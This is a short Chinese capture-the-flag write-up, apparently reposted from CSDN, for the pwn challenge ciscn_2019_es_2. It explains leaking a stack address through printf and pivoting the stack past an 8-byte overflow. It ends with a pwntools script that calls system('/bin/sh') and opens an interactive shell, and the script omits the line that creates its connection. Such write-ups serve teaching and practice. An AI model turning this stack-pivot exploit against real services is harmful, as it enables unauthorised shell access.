【pwn】ciscn_2019_es_2

例行检查
在这里插入图片描述分析程序,程序存在system函数,但是不能直接得到flag。
在这里插入图片描述
vul函数中存在栈溢出,但只能溢出8个字节,只能盖到ebp和ret。vul函数中有两次read和printf第一次可以用来泄露ebp,得到栈地址,然后进行栈迁移。然后利用main函数返回时将控制流转到system。
根据一下汇编代码布置栈数据。
在这里插入图片描述
在这里插入图片描述

from pwn import *

#io=process('ciscn_2019_es_2')

sys_plt=0x8048400 

pl='a'*0x20+'bbbbbbbb'
io.send(pl)
io.recvuntil('b'*8)
ebp=u32(io.recv(4))
print(hex(ebp))
pl2=('a'*8+p32(ebp-0x24)+'bbbb'+p32(sys_plt)+'cccc'+p32(ebp-0x1c)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp-0x2c)
io.send(pl2)

io.interactive()

猜你喜欢

转载自blog.csdn.net/github_36788573/article/details/103689296